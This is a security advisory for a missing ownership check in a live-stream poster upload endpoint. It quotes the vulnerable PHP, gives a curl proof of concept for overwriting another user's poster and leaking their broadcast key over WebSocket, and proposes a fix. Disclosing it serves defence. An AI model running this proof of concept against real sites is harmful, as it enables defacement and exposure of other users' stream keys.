GHSA-g3hj-mf85-679g

## Summary The `plugin/Live/uploadPoster.php` endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary `live_schedule_id`. The endpoint only checks `User::isLogged()` but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a `socketLiveOFFCallback` notification containing the victim's broadcast key and user ID to all connected WebSocket clients. ## Details The vulnerable endpoint at `plugin/Live/uploadPoster.php` accepts a `live_schedule_id` from `$_REQUEST` and uses it to determine poster file paths and trigger socket notifications without ownership validation. **Entry point — attacker-controlled input (line 11-12):** ```php $live_servers_id = intval($_REQUEST['live_servers_id']); $live_schedule_id = intval($_REQUEST['live_schedule_id']); ``` **Insufficient auth check (line 14-17):** ```php if (!User::isLogged()) { $obj->msg = 'You cant edit this file'; die(json_encode($obj)); } ``` This only verifies the user is logged in. There is no check that `User::getId()` matches the schedule owner's `users_id`. **Poster path resolved by ID alone (line 40-42):** ```php $paths = Live_schedule::getPosterPaths($live_schedule_id, 0); $obj->file = str_replace($global['systemRootPath'], '', $paths['path']); $obj->fileThumbs = str_replace($global['systemRootPath'], '', $paths['path_thumbs']); ``` `getPosterPaths()` is a static method that constructs file paths purely from the numeric ID with no authorization. **Attacker's file overwrites victim's poster (line 48):** ```php if (!move_uploaded_file($_FILES['file_data']['tmp_name'], $tmpDestination)) { ``` **Broadcast to all WebSocket clients (line 67-73):** ```php if (!empty($live_schedule_id)) { $ls = new Live_schedule($live_schedule_id); $array = setLiveKey($ls->getKey(), $ls->getLive_servers_id()); $array['users_id'] = $ls->getUsers_id(); $array['stats'] = getStatsNotifications(true); Live::notifySocketStats("socketLiveOFFCallback", $array); } ``` The `Live_schedule` constructor (inherited from `ObjectYPT`) loads data by ID with no auth checks. `Live::notifySocketStats()` calls `sendSocketMessageToAll()` which broadcasts to every connected WebSocket client. **Notably, the parallel endpoints DO have ownership checks:** - `plugin/Live/view/Live_schedule/uploadPoster.php` (line 18-21) checks `$row->getUsers_id() != User::getId()` - `plugin/Live/uploadPoster.json.php` (line 24-27) checks `User::isAdmin() || $row->getUsers_id() == User::getId()` This proves the missing check in `uploadPoster.php` is an oversight, not by-design. ## PoC ```bash # Step 1: Log in as a low-privilege user to get a session cookie curl -c cookies.txt -X POST 'https://target.com/objects/login.json.php' \ -d '[email protected]&pass=attackerpassword' # Step 2: Overwrite the poster for live_schedule_id=1 (owned by a different user) curl -b cookies.txt \ -F '[email protected]' \ -F 'live_schedule_id=1' \ -F 'live_servers_id=0' \ 'https://target.com/plugin/Live/uploadPoster.php' # Expected: 403 or ownership error # Actual: {} (success) — poster overwritten, socketLiveOFFCallback broadcast sent # Step 3: Verify the poster was replaced curl -o - 'https://target.com/videos/live_schedule_posters/schedule_1.jpg' | file - # Output confirms attacker's image now serves as the victim's poster # The socketLiveOFFCallback broadcast (received by all WebSocket clients) contains: # { "key": "<victim_broadcast_key>", "users_id": <victim_user_id>, "stats": {...} } ``` Schedule IDs are sequential integers and can be enumerated trivially. ## Impact 1. **Content tampering:** Any authenticated user can overwrite poster images on any scheduled live stream. This enables defacement or phishing (e.g., replacing a poster with a malicious redirect image). 2. **False offline notifications:** The `socketLiveOFFCallback` broadcast misleads all connected viewers into thinking the victim's stream went offline, disrupting the victim's audience. 3. **Information disclosure:** The broadcast leaks the victim's `users_id` and broadcast key to all connected WebSocket clients. 4. **Enumerable targets:** Schedule IDs are sequential integers, so an attacker can trivially enumerate and target all scheduled streams. ## Recommended Fix Add an ownership check after the login verification at line 17 in `plugin/Live/uploadPoster.php`: ```php if (!User::isLogged()) { $obj->msg = 'You cant edit this file'; die(json_encode($obj)); } // Add ownership check for scheduled live streams if (!empty($live_schedule_id)) { $ls = new Live_schedule($live_schedule_id); if ($ls->getUsers_id() != User::getId() && !User::isAdmin()) { $obj->msg = 'Not authorized'; die(json_encode($obj)); } } ``` This mirrors the existing authorization pattern already used in `uploadPoster.json.php` (line 24) and `view/Live_schedule/uploadPoster.php` (line 18).